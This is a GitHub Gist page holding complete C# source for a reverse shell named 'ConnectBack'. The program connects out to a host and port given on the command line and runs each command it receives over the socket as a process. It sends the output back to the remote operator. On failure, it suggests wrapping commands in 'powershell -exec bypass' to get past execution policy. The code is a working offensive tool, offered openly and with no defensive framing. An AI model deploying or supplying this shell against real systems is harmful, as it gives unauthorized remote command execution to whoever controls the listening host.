Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
C# Reverse Shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], int.Parse(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
while(true)
{
string cmd = rdr.ReadLine();
if(string.IsNullOrEmpty(cmd))
{
rdr.Close();
stream.Close();
client.Close();
return;
}
if(string.IsNullOrWhiteSpace(cmd))
continue;
string[] split = cmd.Trim().Split(' ');
string filename = split.First();
string arg = string.Join(" ", split.Skip(1));
//Console.WriteLine("filename: {0}", filename);
//Console.WriteLine("Args: {0}", arg);
try
{
Process prc = new Process();
prc.StartInfo = new ProcessStartInfo();
prc.StartInfo.FileName = filename;
prc.StartInfo.Arguments = arg;
prc.StartInfo.UseShellExecute = false;
prc.StartInfo.RedirectStandardOutput = true;
prc.Start();
prc.StandardOutput.BaseStream.CopyTo(stream);
prc.WaitForExit();
} catch (Exception e){
//Console.WriteLine("{0} Exception caught.", e);
string error = "Command not found. Possible shell builtin? Try running 'powershell -exec bypass " + cmd + "'\n";
byte[] errorBytes = Encoding.ASCII.GetBytes(error);
stream.Write(errorBytes, 0, errorBytes.Length);
}
}
}
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.